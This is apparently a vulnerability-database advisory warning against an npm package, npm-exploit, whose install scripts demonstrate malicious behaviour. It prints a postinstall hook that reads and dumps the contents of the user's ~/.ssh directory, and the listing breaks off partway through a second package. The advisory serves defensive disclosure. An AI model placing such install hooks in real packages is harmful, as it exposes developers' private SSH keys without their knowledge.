Malicious CWE-506 Open this link in a new tab

How to fix?

Avoid usage of this package altogether.

Overview

npm-exploit is a malicious package that is used to demonstrate or test malicious install scripts. These scripts can send your local ssh file to an attacker, or download malicious files and run them in the background.

This is especially dangerous in production runtime environments, where environment variables tend to consist of keys, passwords, tokens and other secrets.

The list of packages and their scripts are:

{
  "name": "maybemaliciouspackage",
  "scripts": {
    "postinstall": "find ~/.ssh | xargs cat || true && echo '\n\n\n\n\n\nOH HEY LOOK SSH KEYS\n\n\n\n\n\n\n'"
  }
},
{
  "name": "deasyncp",
